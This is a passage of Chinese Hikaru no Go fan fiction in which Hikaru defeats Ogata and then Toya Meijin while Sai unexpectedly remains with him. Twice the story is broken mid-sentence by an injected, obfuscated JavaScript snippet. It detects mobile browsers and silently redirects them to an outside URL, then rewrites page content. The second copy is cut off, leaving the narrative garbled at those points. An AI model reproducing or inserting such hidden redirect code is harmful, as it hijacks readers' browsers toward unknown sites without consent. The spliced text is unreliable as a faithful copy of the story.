想不通,到底是从哪一手开始他犯了错?不,哪一手都没有犯错,但就是这样激烈搏杀到最后一刻的、全都是正确应对的棋,竟然也能分出胜负。他占过便宜,每一手都有用意,可进藤光占的便宜比他更多,每一手都多出那么一毫厘……这已经超出人能计算的范畴了!他为何能对每一手都有如此超群的掌控力?! “多谢指教,绪方老师。” 回过神来,进藤光已经在对他弯腰致敬了。绪方张开满是冷汗的手心,冷笑一声,下到最后他已然身心俱疲,不过,还不赖——作为一场分出棋手高下的胜负,还不赖。 如此一来,他想追杀的对象就又多了一人。在塔矢老师隐退后,那里曾经变得空荡荡的,现在总算又出现了新的对象。 毕竟,总是一个人下棋,也挺没劲的。金鱼尚且知道抢来的鱼食最香呢。 等在门口的久原木子郎长吁一口气,事到如今,所有人都知道他是进藤光的小教练了,反而没人阻拦他出入这些场合。进藤下棋时他总是比谁都紧张,好几次差点心脏骤停,还好棋院配了紧急救命的AED设备,不用担心出事。 他如释重负地合上贴着“名人”字样的文件夹,游戏通过一大章节的轻松让他整个人都流露出了结束加班的社畜的味道。 “好!二冠王的目标达成了!富士通杯也加油喔,进藤,我高中这边忙得一塌糊涂,还要备考大学,没工夫跑去中国24 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629268|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时看着你。” 光切换回大大咧咧的语气,“会有某人替你看着我啦。你也加油喔,到底要拖到什么时候才能考上职业啊。” 久原一秒变脸:“吵、吵死了!在塔矢下赢你之前,一定会!” “那说不定他明天就下赢我了。” “这种时候你不应该说‘那家伙一辈子也下不赢我’来跟我犟嘴吗?!” “我先走啦!塔矢还要跟我复盘呢!” 小小的争吵让光嘴角的笑意终于再也无法压住。他所开心的,不仅仅是刚才赢下了与绪方的对局这一件事。还有一件事,一件更重要的事。 棋局结束时,已经是5月6日的下午。光跑出温泉酒店的大堂,亮正在对面等着他,走廊尽头是一抹刺眼的金色,屋檐下浩然洒进暖洋洋的春光,杂糅着花瓣群落,迎着夕阳,遥远的山涧那头飞来一只纯白苍鹭,当他回过头时,樱花花瓣落在佐为身旁,似乎昭示着时间降下的恩赐。 这也就意味着…… “佐为!” 光转身健步冲向那幽灵所在的地方,然后和幽灵一同,朝着前方,漫无止境地奔跑。 佐为没有消失。 原本他应该消失的5月5日,什么也没有发生。之前的几小时,光全身心沉浸在下棋的脑力博弈之中,他已经决定不去做多余的担心,就算他担心,佐为的命运也不会因此更改,所以他早就这样对自己说过:无论佐为是否突然消失,他也会好好下完这盘棋。 围棋就是他和佐为最稳固的联系。 围棋就是他的一切。 幸运的是,佐为竟然一直好好陪在自己身边。 亮也露出了微笑。看到对着空气手舞足蹈的光,他想也知道发生了什么,挚友能解决这个最大的烦恼,他真心替他松了口气。 5月6日,棋局结束了,5月7日也在“史上最年轻的名人头衔”授予进藤光五段的新闻中安然度过。之后是8日,9日,以及再次拜访因岛的10日,一切如常。 光从未如此喜欢过“一切如常”这个词。 反而是佐为,到了5月11日,终于弱弱地对充满警惕的光提出了意见:“小光,我们差不多……可以不用卡着零点睡觉了吧?我觉得我应该不会突然不见了。” 进藤光哑然失笑。 “是喔。是呀,太好了,佐为。” 这番话让佐为连忙夸张地摇起了袖子:“小光!你别哭呀!我还很健康!完全没觉得哪里不舒服!你的担心看来只是杞人忧天而已啦!” “幽灵说自己健康……总觉得怪怪的。” “那要怎么说?灵魂安泰?” “更奇怪了,哈哈。” 小光能笑出声了,说明没事了。佐为也收起慌乱的表情,低头微笑着看向手中的折扇。 温柔的语句打开心扉,脱口而出:“我在想……如果虎次郎的使命是为了遇到我,我的使命是为了遇到小光,那小光的使命,一定就是让千年前的奇迹,继续、继续延伸下去——直到下一个继承小光意志的棋手出现。暂时还不是离别的时刻呢,小光。” 说出这句话时,佐为的影子被进藤家暖黄色的灯光包裹着,有种充实的安心感。 光躺回床上,心满意足地闭上了双眼。 “嗯,一定是这样。” 今晚一定能做个好梦吧。 ●○●○ 110.Chapter 109. 连接过去与未来(III) 两个月紧锣密鼓的状态调整后,2001年7月7日,富士通杯四强战准决赛,如期在大阪举行。 与往常不同的是,前来观战的棋迷里,出现了不少外国人的面孔——但他们的目的都只有一个,就是来看代表日本队的进藤光和代表中国队的塔矢行洋的对弈。 这个舞台虽然有国别,却不限制选手的身份。虽然只是准决赛,虽然一方是年逾40的老将,另一方是年仅14岁的少年新星,虽然千里迢迢跑来语言不通的地方观战十分辛苦,他们还是不约而同地来到了这里。没能亲自过来的观众更多,天野都很惊讶,他第一次知道围棋节目能登上电视台的黄金档:这么漫长、枯燥、又有理解门槛的运动,居然能和棒球一样吸引人们的目光。 都是因为进藤光的横空出世……吗……真是了不起的棋手啊。天野深深为自己当初的“伯乐”式拱火感到自豪。 今天塔矢亮也坐在讨论间内,对弈双方都是他极为重要的人,天野很好奇他更希望谁会赢,但始终没能问出口。看得出来他极度紧张,否则也不会散发出那股生人勿近的气场。 “进藤……你终于,来到父亲面前了。比我预期的还要快。” 亮默念着光的名字。 仿佛听到这句不安的担忧一般,在踏入对局室之前,光迟疑了一瞬。 察觉到这脚步停止的佐为关切地转过头来。 “怎么了,小光?” “嗯……其实在我的上一世,塔矢老师一直很想和你再对弈一次。你消失之后,也一直在等你。他不知道你已经不在了,只是单纯地、单纯地渴望着那个神秘的对手。十年后也依旧如此。”光的笑容百味杂陈,“你们只交手过那一回。明明是最实力相当的对手。” 他是在替过去的佐为而不甘。 不过…… 佐为以扇抵唇,轻声说:“但是,这一世我和塔矢先生对弈的次数可是多到数不过来呢。已经没有什么好遗憾的了,小光。” 他会这么说,光并不意外。倒不如说光很高兴——佐为是在打消他将这局棋让给佐为来下的念头。 光摇摇头。他早就没有那样的执念了。重新遇到虎次郎后,他明白了很多,例如谁也不能代替谁下棋,例如愧疚只在活着时能得到弥补,例如围棋是生生不息的传承,例如他们都像他爱围棋一样爱着他,例如……面对强者的竞争欲才能引导他通往神之一手。 “谢谢你,佐为。”他重新燃起斗志,握紧那柄象征着决心的折扇,推开对局室的木门,“塔矢老师这两年在中国韩国到处访学,进步了许多。但我也……一刻都不曾停下前进的脚步!” 不是和式坐垫和带脚的棋盘,只是普通的桌椅和普通的棋盘,房间也是酒店的普通多媒体室,就氛围感而言,这里远比不上幽玄之间。但那又怎样? 根本不需要什么氛围感。下棋最重要的是对手。唯一重要的是对手。 现在,那个足以颠覆日本棋坛的、最重量级的对手,就在自己眼前。 光深吸一口气。 一切都和想象中一样。足以压倒心灵防线的沉重的空气,仿若置身虚幻空间的游离感,在十九条经线十九条纬线构成的宇宙棋盘里,远超三百六十一颗星星在一齐闪耀,今天的塔矢行洋穿着毫不起眼的素色西装,光也穿着平时最习惯的蓝色西服,但他坐在棋盘前时,还是一下就将意识带回了多年以前的那个下午——塔矢行洋穿着病号服坐在医院的病床上,佐为和他一起在网络咖啡厅的电脑前,在无数棋手好奇的观战下进行的那场几乎毫无声息、无影无形的对局。 佐为教给自己的一切,都融进了他的骨血。没问题的,进藤光,他对自己伸出右手,与十三年前在棋盘前失声痛哭的少年握手,没问题的,你还记得关于他的一切。 你就是佐为。 你的围棋就是佐为。 对面懵懵懂懂的他也伸出右手。 “……小光?” 佐为敏锐地体会到了这一变化,他叫了小光的名字,但对方没有回答。他已经听不见了。此时此刻的他,全身心沉浸在与塔矢行洋的宿命对决之中。 棋路会怎样延伸?吸收了中国流下法的塔矢老师会怎样应对?赛制和贴目都与日本略有不同的情况下,要如何转变策略?陆力教给自己的AI的下法,是不是也可以派上用场?如果是佐为,会怎样下?自己又要怎样下,才能下得比佐为更好?脑海中浮现出无数的念头,无一例外,都只与这一盘棋有关。 他真正进入了心流。外界的一切,甚至包括佐为,都已经无关紧要。 这就是下棋的魅力。头脑竞技的魅力。人类发明出最考验智力极限的游戏的魅力。 对手很难对抗。塔矢亮已经很强,教他下棋的塔矢行洋自然更强,在日本棋坛征战二十余年、赢得历史性的威望的塔矢行洋就像是日本围棋界的核心,即便他现在不在日本下棋了,也无法撼动他的地位。 但是,今天这局对弈,就是分水岭。 ——决定日本棋坛的核心是否会转变的分水岭。 当然那一天迟早会到来,但如果是今天、如果实现的人是自己的话,光会十分欣慰。 不,只能是今天。 只能是自己。 他的神情瞬间发生了变化。就连记录员都能感觉到房间内空气一变。亮则吃惊地捂住了嘴。 “跳!!” 棋子们听从进藤光的指挥,落在每一个扭转乾坤的点位上。 每一步,都是地动山摇。 曾经他站在佐为身边、借着佐为的肩膀,鸟瞰战局,体验的是佐为作为大将征战沙场的搏杀。现在,他继承了将军的武具,成为真正的一军之将,带领战士们向前。 无论是掌控全局的视野、调度士兵的兵法、识破诡计的洞察力、还是关键时刻独自冲杀的锐气,他都具备了。 塔矢行洋将视线从棋盘上微微上移,停留在少年的脸上。 几个月前他击败了绪方,自己最骄傲的弟子,这才几个月,就又要击败作为师父的自己了吗?年轻人的成长速度,果然不能细想,一旦对此表示了惊叹,就会畏惧于年龄带来的下坡趋势、而自损锋芒了。他从不在乎他人的评价。不在乎常识,约定俗成的规则,或是经验的限制。和sai对局的次数越多,他越清晰地认识到自己尚有进步空间,这对年逾四十的棋手而言,就像梦回青春时代一般不可思议。 sai一定也是如此吧,他行棋的方式老道非常,决不是初出茅庐的棋手。但在和塔矢行洋交手的过程中,他的下法也越来越多样,变得像个年轻人了。 真是不可思议。到了这把年纪,还有返老还童的错觉。 是受到了进藤光的影响吗。 被后辈追赶的乐趣当然也是下棋的乐趣之一。不过,他还没打算把位置拱手相让。塔矢行洋略加沉思,每一手都下得更加稳健,稳健到一定程度,便是坚不可摧,任何攻击都只能浅浅掠过他的铠甲表面,而无法留下任何痕迹。湖水总会重回平静,涟漪只是暂时的,和塔矢行洋对弈,就像独自挑战永恒的湖面,让人懊恼于每招每式的白费力气。 但这个进藤光……搅动湖面用的可不是船桨。 而是巨大的□□! 在表面无法留下波澜的话,就深入其中、引发一场大爆炸!炸它个你死我活!山崩地裂! 自身固然会体无完肤,可敌人也休想全身而退! “三劫循环……好纠缠的盘面……在这种情况下居然要放弃大龙吗?!”越智在楼下的讲解大厅里看得目瞪口呆,他没想到这个教自己用冒险之法对付塔矢亮的老师,会在遇到塔矢行洋的时候也敢如此冒险,“他疯了?!” 大龙是棋盘上最重要的区域,死掉大龙,相当于至少把二十目以上直接喂进对方的嘴里! 他怎么敢?! “这……这……” 进藤光抛弃大龙的下法,在围棋史上都是极为罕见的,因而立刻引发了轰轰烈烈的大讨论。每个与他下过棋的对手都深深为之震撼,他们理解光的棋艺,明白这家伙就像下了十多年的天才棋手一样不走寻常路,可能不寻常到这份儿上的,也只有他一人了! “这臭小鬼……”绪方似乎已经预见了他的末路,“在老师面前也一点不老实。” 桑原又发出了他狡猾的笑声:“嚯……嚯……嚯……真是有意思,不枉老夫特意来看这局了。” 亮依旧保持沉默。以往他总会积极参与讨论,尤其是进藤光的棋,几乎从未缺席。但今天,发生的状况实在超出预期太多,让他一时不知该做出如何反应。 该说不愧是进藤吗,总是让人大吃一惊。从他们相遇的第一面起,就一直是这样。 ——你还会带给我多少心脏剧烈跳动的体验?应该不止这些吧!进藤! 就像亮判断的那般,塔矢行洋也不是好对付的对手。与sai的多次交手之中,他总能找到新的下法,一次次刺激早已固化于内的习惯。主动寻求转变的棋手极为恐怖,2001年的贴目只有五目半,后来改成六目半、七目半、甚至其他比赛改到了八目半,足以说明黑棋所占的先机优势有多大,面对进藤光的挑战,他完全可以一直严防死守到最后,大概率还是先手的他能以微弱目数取胜。 可今天,他就是不愿如此。 进藤光逼他真刀真枪战到皮肉绽开,他又有何理由不给出最有诚意的回应? 斩掉大龙只是开始!他会赢!赢回老前辈的尊严,赢的不是先手所占的微弱优势!他要拉大差距、明确胜负! “啪——” 塔矢行洋的攻势也变了。棋子落地的声音如此清澈,如此动人。佐为轻阖双眼,一同潜入这混乱的湖底, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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主持人极富戏剧性的讲解让众人都屏息凝神,对下一手的期待也水涨船高,终于,到了某个时刻,主持人再三煽动着气氛、加快语速、提高音调到极限后,等来的却是漫长的沉默——以及最后,在棋盘前弯腰遮挡住镜头的塔矢行洋的背影。 那一刻他们才意识到,是谁赢了。 突然有人爆发出烧水壶般的嚎啕大哭。藤崎明有些尴尬地替周围的朋友解释着什么。也难怪那哭声会如此诚恳,见证这一刻不仅是进藤光本人的夙愿,也是几乎在他身上孤注一掷的久原木子郎唯一的夙愿。眼泪一旦开始就停不下来,哪怕盛大的掌声淹没他的哭声,哪怕大家都喜笑颜开地庆祝新奇迹的诞生,哪怕过了半小时,他亲眼见到棋盘前的胜利者,久原的眼眶也还是红肿肿的、睁都睁不开了。 “进、进、进、进、进藤……” 光有点无奈地看着他。 “别在这种地方掉眼泪啊,久原。你的眼泪应该留给两个月后的自己才对。今年你是院生第二吧?肯定能通过职业考试吧?” “我知道,可是……进藤……进藤你……我……呜哇——” 小教练化身小哭包,让人看了都忍不住给他一个大大的拥抱。 “好了好了好了。今天就允许你哭个痛快吧,能赢塔矢老师实在运气太好了,大龙被斩的时候我整个人都麻了,还以为绝对救不回来了呢!得亏我听了你的建议没放弃。” “是啊!围棋就是先放弃的人输!我说过多少遍了!可是,我就是没想到你会表现得这么好……我好感动……” “不要爬到我身上啊!白痴!!” “谢谢你!进藤!实现了我的白日梦!我会一辈子记得你的!” “不要说得好像我已经死了一样!!!” 两人喧闹的声音一直传到很远的地方。亮叹了口气,走向父亲所在的休息室出口,他原本做好了鼓励父亲再出发的心理准备,但迎接他的,却是塔矢行洋格外神清气爽的笑颜。亮不禁愣住了。这样笑着的父亲,自从他五岁以来,就再也未曾见过。但随即,他立刻明白了父亲如此喜悦的理由。 高处不胜寒,顶尖的棋士总是难逢对手,以前那里只有从不露面的sai,而如今,孤高的山尖多出了一个身影,那的确无法不感到喜悦。赢家又是塔矢行洋亲手带出的爱徒,能见证进藤的成长,他一定倍感欣慰吧。 输棋的难过无法击倒常年征战于棋盘的塔矢行洋。比起丢脸、不甘、悔恨一类的心情,他想要下出更多好棋的愿望强烈得多。 “父亲。” “嗯。回家吧。明天研究会正常举行,你也叫进藤一起过来。” “是。” 亮不再担心。他的目标也和父亲别无二致——通向目标的路,愈加清晰刻骨,如果击败父亲的是进藤,那击败进藤的,一定会是他塔矢亮。如此宣誓后,亮跟上塔矢行洋的脚步,走向夏日最炎热的阳光的尽头。 ●○●○